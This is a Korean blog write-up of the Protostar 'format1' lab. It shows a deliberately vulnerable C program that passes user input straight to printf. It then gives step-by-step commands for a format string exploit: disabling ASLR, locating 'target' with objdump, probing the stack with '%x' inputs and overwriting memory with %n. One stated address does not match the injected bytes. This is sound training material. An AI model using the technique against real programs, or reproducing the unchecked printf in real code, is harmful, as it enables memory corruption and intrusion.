프로토스타

[프로토스타] format1

-dP- 2019. 1. 22. 16:05

format1.c


#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int target; void vuln(char *string) { printf(string); if(target) { printf("you have modified the target :)\n"); } } int main(int argc, char **argv) { vuln(argv[1]); }



출처: http://liveoverflow.com/binary_hacking/protostar/format1.html




1. 문제 해결 및 분석



1-0. 포맷 스트링 위치



printf에서 포맷 스트링 버그를 발생시키면 된다.






%x를 통해 스택에 있는 주소를 가져와서 argument까지 접근한다.




%x를 반복하면 argument까지 올 수 있으므로 argument에 target 주소를 넣고 %n을 통하여 target을 변경한다.




1-1. objdump -t ./format1 





우선 aslr disable


echo 0 | sudo tee /proc/sys/kernel/randomize_va_space




이런 식으로 쭉 나온다. 하지만 target의 위치를 찾기엔 불편함이 있다.





그래서




objdump -t ./format | grep target





하면 target의 주소가 나온다.




gdb로도 확인 가능하다.



1-2. ./format1 






./format1 $(python -c "print 'AAAA' +  '%x.'* 154")



./format1 $(python -c "print 'AAAA' +  '%x.'* 155")



./format1 $(python -c "print 'AAAA' +  '%x.'* 156")



늘리거나 줄이면서



'AAAA'가 들어간 위치를 확인하다.



A는 아스키코드로 41이므로 41414141이 들어간 위치를 확인하면 된다.




./format1 $(python -c "print 'AAAA' +  '%x.'* 156")




했을 때, 41414141을 확인할 수 있다. 41414141 이후에 두 개의 값이 들어가 있으므로



154개 이후가 타겟이다.



1-3. target 위치 추가





'AAAA' 다음이 target의 주소이므로 앞서 구한 target의 주소를 리틀 앤디안 방식으로 추가해준다.





./format1 $(python -c "print 'AAAA' + '\x38\x96\x04\x08' + '%x.'* 156")





41414141 이후에 target의 주소 0x08048638 잘 들어갔다.





1-4. 덮어쓰기






41414141 이후에 target을 변경하면 되므로



target 위치에 %n을 사용하면 된다.




성공!



피드백 환영입니다!

'프로토스타' 카테고리의 다른 글

[프로토스타] format3  (0) 2019.01.23
[프로토스타] format2  (0) 2019.01.22
[프로토스타] format0  (0) 2019.01.18
[프로토스타] stack7-2 (ROP)  (0) 2019.01.18
[프로토스타] stack7-1 (jmp call)  (0) 2019.01.15